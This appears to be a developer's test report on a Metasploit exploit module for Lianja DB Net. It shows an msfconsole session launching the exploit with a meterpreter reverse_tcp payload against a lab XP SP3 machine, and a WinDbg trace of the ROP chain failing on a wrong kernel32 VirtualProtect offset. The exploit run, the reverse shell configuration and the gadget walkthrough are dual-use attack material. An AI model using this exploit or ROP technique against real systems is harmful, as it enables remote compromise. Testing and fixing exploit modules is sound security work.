Did a fast test with an XP SP3 installation:

```
0:000> lmv m kernel32
start    end        module name
7c800000 7c8f6000   kernel32   (pdb symbols)          C:\Program Files\Windows Kits\8.0\Debuggers\x86\sym\kernel32.pdb\34560E80F5C54175B208848EF863C5BD2\kernel32.pdb
    Loaded symbol image file: C:\WINDOWS\system32\kernel32.dll
    Image path: C:\WINDOWS\system32\kernel32.dll
    Image name: kernel32.dll
    Timestamp:        Mon Apr 14 02:11:24 2008 (4802A12C)
    CheckSum:         000F44A2
    ImageSize:        000F6000
    File version:     5.1.2600.5512
    Product version:  5.1.2600.5512
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     kernel32
    OriginalFilename: kernel32
    ProductVersion:   5.1.2600.5512
    FileVersion:      5.1.2600.5512 (xpsp.080413-2111)
    FileDescription:  Windows NT BASE API Client DLL
    LegalCopyright:   © Microsoft Corporation. All rights reserved.
```

The offset doesn't work here:

```
^Cmsf exploit(lianja_db_net) > show options

Module options (exploit/windows/misc/lianja_db_net):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.172.203  yes       The target address
   RPORT  8001             yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.172.1    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   3   Windows XP SP3


msf exploit(lianja_db_net) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.203:8001 - Sending Malicious Data

```

* On the target the vuln is triggered, control achieved, it happens when try to execute the rop chain and solve the virtual protect address, notice the offset doesn't work for this version of kernel32 and the rop chain will finally fail:

```
Breakpoint 0 hit
eax=06b930c6 ebx=7ffdf000 ecx=00055a70 edx=71ac4098 esi=00000003 edi=0440fe20
eip=61b88f48 esp=0440fb00 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
zlib1!tr_flush_block+0x8e8:
61b88f48 8bb01600005b    mov     esi,dword ptr [eax+5B000016h] ds:0023:61b930dc={kernel32!AddAtomA (7c835505)}
0:000> t
eax=06b930c6 ebx=7ffdf000 ecx=00055a70 edx=71ac4098 esi=7c835505 edi=0440fe20
eip=61b88f4e esp=0440fb00 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
zlib1!tr_flush_block+0x8ee:
61b88f4e c3              ret
0:000> t
eax=06b930c6 ebx=7ffdf000 ecx=00055a70 edx=71ac4098 esi=7c835505 edi=0440fe20
eip=61b86858 esp=0440fb04 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
zlib1!deflateCopy+0x3d8:
61b86858 59              pop     ecx
0:000> t
eax=06b930c6 ebx=7ffdf000 ecx=fffed507 edx=71ac4098 esi=7c835505 edi=0440fe20
eip=61b86859 esp=0440fb08 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
zlib1!deflateCopy+0x3d9:
61b86859 1439            adc     al,39h
0:000> t
eax=06b930ff ebx=7ffdf000 ecx=fffed507 edx=71ac4098 esi=7c835505 edi=0440fe20
eip=61b8685b esp=0440fb08 ebp=00000000 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
zlib1!deflateCopy+0x3db:
61b8685b c3              ret
0:000> t
eax=06b930ff ebx=7ffdf000 ecx=fffed507 edx=71ac4098 esi=7c835505 edi=0440fe20
eip=61b84c8d esp=0440fb0c ebp=00000000 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
zlib1!gzeof+0xcd:
61b84c8d 01ce            add     esi,ecx
0:000> t
eax=06b930ff ebx=7ffdf000 ecx=fffed507 edx=71ac4098 esi=7c822a0c edi=0440fe20
eip=61b84c8f esp=0440fb0c ebp=00000000 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
zlib1!gzeof+0xcf:
61b84c8f 5b              pop     ebx
0:000> u esi
kernel32!c_OmapEntries_uxtheme+0x14:
7c822a0c 0af6            or      dh,dh
7c822a0e 877c0400        xchg    edi,dword ptr [esp+eax]
7c822a12 0000            add     byte ptr [eax],al
7c822a14 b4fd            mov     ah,0FDh
7c822a16 877c0700        xchg    edi,dword ptr [edi+eax]
7c822a1a 0000            add     byte ptr [eax],al
7c822a1c d8fa            fdivr   st,st(2)
7c822a1e 877c0800        xchg    edi,dword ptr [eax+ecx]
0:000> bp 7c822a0c 
0:000> g
Breakpoint 1 hit
eax=7c822a0c ebx=41414141 ecx=fffed507 edx=71ac4098 esi=61b925e0 edi=0440fe20
eip=7c822a0c esp=0440fb18 ebp=00000000 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
kernel32!c_OmapEntries_uxtheme+0x14:
7c822a0c 0af6            or      dh,dh
0:000> g
(598.c08): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7c822a0c ebx=41414141 ecx=fffed507 edx=71ac4098 esi=61b925e0 edi=0440fe20
eip=7c822a0e esp=0440fb18 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
kernel32!c_OmapEntries_uxtheme+0x16:
7c822a0e 877c0400        xchg    edi,dword ptr [esp+eax] ss:0023:80c32524=????????
```